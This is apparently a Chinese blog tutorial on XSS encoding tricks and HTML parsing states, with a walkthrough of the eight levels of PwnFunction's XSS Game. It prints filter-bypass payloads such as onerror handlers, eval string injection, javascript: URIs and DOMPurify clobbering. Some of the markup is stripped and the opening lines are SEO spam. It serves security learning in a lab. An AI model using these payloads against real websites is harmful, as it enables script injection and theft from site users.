上海建设网站公司,如归网络营销推广企业,建设部四库一平台查询,企业级网络管理目录 1.XSS向量编码
2.xss靶场训练#xff08;easy#xff09;
2.1第一关
2.2第二关
方法一
方法二
2.3第三关
2.4第四关
2.5第五关
2.6第六关
2.7第七关
第一种方法#xff1a;
第二种方法#xff1a;
第三个方法#xff1a;
2.8第八关 1.XSS向量编码
easy
2.1第一关
2.2第二关
方法一
方法二
2.3第三关
2.4第四关
2.5第五关
2.6第六关
2.7第七关
第一种方法
第二种方法
第三个方法
2.8第八关 1.XSS向量编码
!DOCTYPE html
html langenheadmeta charsetUTF-8meta nameauthor contentsystemmeta namekeywords contentwhoamimeta nameviewport contentwidthdevice-width, initial-scale1.0titlescriptalert(1)/script/title/headbodya hrefjavascript:alert(1)aa/aa href%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29aaa/a -----不能解码---因为这一长串是urlcode编码在href是识别不了的a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;:%61%6c%65%72%74%28%32%29aaaa/a-----可以解码这一长串先会HTML实体编码成javascript:alert(1)让href认识然后在urlcode编码!-- html编码不认识%3a --a hrefjavascript%3aalert(3)bbbbb/a !-- 相当于img src1onerroralert(4) #60 --div#60;img srcx onerroralert(4)#62;/div!-- HTML会把它当作普通字符串可以显示但是无法执行 --textarea#60;script#62;alert(5)#60;/script#62;/textareatextareascriptalert(6)/script/textarea!-- 执行 实体编码认单引号--button onclickconfirm(7#39;);Button/button!-- Unicode编码没有执行不能编译符号如等号单引号双引号 --button onclickconfirm(8\u0027);Button/button!-- HTML字符实体编码 alert(9); 没有执行不认识--script#97;#108;#101;#114;#116;#40;#57;#41;#59/script!-- Unicode 编码 alert执行 --script\u0061\u006c\u0065\u0072\u0074(10);/script!-- Unicode 编码 alert(11) 执行不了--script\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029/script!-- Unicode 编码 alert 和 12不能执行 --script\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)/script!-- 不能执行 --scriptalert(13\u0027)/script//不能执行scriptalert(14\u000a)/script// html实体编码urlcode编码Unicode编码a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x31;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x36;#x33;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x35;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x32;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x34;#x28;#x31;#x35;#x29;ddd/a
/body
/html 1.数据状态中的字符引用
当我们进入数据状态中的字符引用时确实可以将编码字符进行解码但是不会进入标签开始的状态在问题4中“”和“”字符被编码为“#60”和“#62”。当解析器解析完“div”并处于“数据状态”时这两个字符将会被解析。当解析器遇到“”字符它会知道这是“数据状态的字符引用”因此会消耗一个字符引用例如“#60”并释放出对应字符的token。在这个例子中对应字符指的是“”和“”。读者可能会想这是不是意味着“”和“”的token将会被理解为标签的开始和结束然后其中的脚本会被执行答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此就不会建立新标签。因此我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”
2.RCDATA状态中的字符引用
1. 空元素(Void elements)如area,br,base等等
2. 原始文本元素(Raw text elements)有script和style
3. RCDATA元素(RCDATA elements)有textarea和title 4.外部元素(Foreign elements)例如MathML命名空间或者SVG命名空间的元素 avg跟图像有关 5.基本元素(Normal elements)即除了以上4种元素以外的元素
五类元素的区别如下
空元素不能容纳任何内容因为它们没有闭合标签没有内容能够放在开始标签和闭合标签中间。
原始文本元素可以容纳文本。
RCDATA元素可以容纳文本和字符引用。
外部元素可以容纳文本、字符引用、CDATA段、其他元素和注释
基本元素可以容纳文本、字符引用、其他元素和注释
3.属性值状态字符引用
2.xss靶场训练easy
进入网站
XSS Game - Learning XSS Made Simple! | Created by PwnFunction 2.1第一关 要求是显示alert1337不能使用用户交互如a标签带有点击事件的标签
源码分析
somebodyJohn那么这段代码将导致h2 idspaghet/h2元素的内容更新为John Toucha Ma Spaghet!。
如果URL是http://example.com/没有somebody查询参数那么内容将更新为Somebody Toucha Ma Spaghet!。 根据官方文档解释script这个标签并不安全并不会执行所以这里使用更为安全的img标签
主要使用的是img触发标签 somebodyimg%20src1%20οnerrοralert(1337)
图片加载错误时会触发onerror的值然后把1337显示出来 在hmtl中会当作字符串展示在页面上不会当作标签转义
2.2第二关 源码分析
从URL的查询参数中获取jeff的值如果存在否则使用默认值JEFFF然后将这个值嵌入到一个字符串中并最终将这个字符串。显示在网页上的一个h2元素中
innerText元素本身不能渲染相当于什么标签都不能被执行
方法一
我们可以把关注点放在这句话
eval(ma Ma name ${jeff})
让eval执行可以看到就成功了 这里其实就是用的闭合
相当于执行 eval(maMa name aaa;alert(1337);)
先执行Ma name aa的赋值其次执行alert(1337);最后闭合防止报错
方法二
把输入的全部执行 nan在js中表示非数字类型
NaN 非数字not a number属性是代表非数字值的特殊值。
2.3第三关 过滤了 ?weyaaaa%20οnfοcusalert(1337)%20autofocus
如果没有autofocus是需要用户输入这样属于跟用户交互了没有满足要求而添加autofocus是可以让其自动聚焦
2.4第四关 源代码分析
2秒后会自动提交
在form表单里面的action会出现JavaScript伪协议事件 ?ricardojavascript:alert(1337)
2.5第五关 过滤了括号反斜杠转义字符
这里使用了innerHTML可以还是使用img src onerr
但是这个题它过滤了括号
这里可以使用url编码去解码成括号 如果直接%28html无法识别%2528---转成%28----转成 ?markassbrownleeimg%20src1%20οnerrοrlocationjavascript:alert%25281337%2529
2.6第六关 过滤字母数字-------考虑使用编码
js编码 这样就可以绕过使用数字字母但是这样页面是识别不了了的还需要url编码才能被页面解析 然后将编码放在balls 2.7第七关 过滤了转义字符单引号双引号加号短横杠感叹号…
同时过滤长度
第一种方法
js有三种定义函数的方式
1.function 语句形式
function test1() {
alert(我是test1);
}
2.函数直接量形式
var test2 function() {
alert(我是test2);
}
3.通过Function构造函数形式定义函数 var test3 new Function(a, b, return ab;);
第一个字母是大写表示是一个类
这里可以使用Function()()函数同时由于还过滤了alert根据js严格区分大小写的特点我们可以在路径上输入大写的alert,但是为了能识别出alert还需要转成小写 ?mafiaFunction(/ALERT(1337)/.source.toLowerCase())()
第二种方法
使用parselent函数tostring函数可以二进制转换 注意这里为什么数字是30而不是2829等其他数字主要是在二进制里30才能包含字母t ?mafiaeval(8680439..toString(30))(1337) parseIn将alert转换成二进制8680439然后 eval对8680439..toString(30)转换为alert
第三个方法
使用location.hash.slice函数
location.hash获取的是#后面的内容
Slice()截取函数slice1截取从1开始往后的内容这样就可以不会把#打印出来 ?mafiaeval(location.hash.slice(1))#alert(1337)
2.8第八关 想绕过DOMPurify.sanitize函数是不可能的
观察setTimeout(ok, 2000)每2秒输出ok,但是ok并没有被定义
所以可以创建ok .map一个一个取 ?boomera%20idok%20hreftel:alert(1337)
a标签的href自动替换成字符串相当于把tel:alert(1337)当作字符串处理idok可以获取到href标签, 为什么这里不使用JavaScript是因为在DOMPurify函数里把JavaScript拉进了黑名单里因此我们可以所以它里面的白名单函数如tel 替代JavaScript去执行